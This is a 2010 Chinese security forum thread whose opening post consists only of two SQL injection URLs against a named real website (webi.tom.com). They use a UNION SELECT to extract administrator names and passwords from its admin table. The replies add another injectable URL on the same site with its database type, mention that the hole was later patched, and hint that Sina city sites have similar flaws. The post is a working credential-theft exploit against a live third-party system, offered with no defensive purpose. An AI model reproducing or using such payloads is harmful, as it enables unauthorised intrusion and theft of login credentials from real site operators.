首页
社区
课程
招聘
问答 CTF 排行榜 知识库 工具下载 看雪峰会 看雪商城 证书查询
  1. 社区
  2. WEB安全
    3. 发新帖
[原创]TOM分站的注入利用——union查询
发表于: 2010-4-8 08:56 3324

[原创]TOM分站的注入利用——union查询

kuang110 活跃值
6
2010-4-8 08:56
3324
http://webi.tom.com/content.php?id=6%20and%201=2%20union%20select%201,name,3,4,password,6,7,8,9,10,11,12,13,14%20from%20admin%20where%20id=3/*


http://webi.tom.com/content.php?id=6%20and%201=2%20union%20select%201,name,3,4,password,6,7,8,9,10,11,12,13,14%20from%20admin/*


[课程]FART 脱壳王！加量不加价！FART作者讲授！

上传的附件：
收藏
免费 ・0
支持
分享
最新回复 (8)
baby2008
雪    币： 442
活跃值： (1216)
能力值： ( LV12，RANK：1130 )
在线值：
发帖
回帖
粉丝
私信
2 楼
不错    不错
2010-4-8 10:16
0
Campaign
雪    币： 122
活跃值： (11)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
3 楼
呵呵，有点意思。。。
2010-4-8 16:17
0
woaisnow
雪    币： 1462
活跃值： (12)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
4 楼
能详细点吗？
2010-4-10 00:18
0
快雪时晴
雪    币： 370
活跃值： (15)
能力值： ( LV9，RANK：170 )
在线值：
发帖
回帖
粉丝
私信
5 楼
Gaga,so amazing
竟然还有这样的hole
2010-4-10 09:39
0
youstar
雪    币： 267
活跃值： (24)
能力值： ( LV8，RANK：130 )
在线值：
发帖
回帖
粉丝
私信
6 楼
去年的时候看过
http://webi.tom.com/content.php?id=737
注入类型为 : Integer
数据库类型为 : Mysql
2010-4-10 16:28
0
小安
雪    币： 213
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
7 楼
加油,搞定它
2010-4-28 16:20
0
Garphy
雪    币： 200
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
8 楼
已然修复了，动作还不算太慢
2010-5-1 01:11
0
wangshutai
雪    币： 250
活跃值： (11)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
9 楼
新浪的城市站点，也有类似的问题，具体URL就不说了。呵呵，有兴趣的可以去找找
2010-6-24 13:51
0
游客
登录 | 注册 方可回帖
回帖 表情 雪币赚取及消费
高级回复
返回
//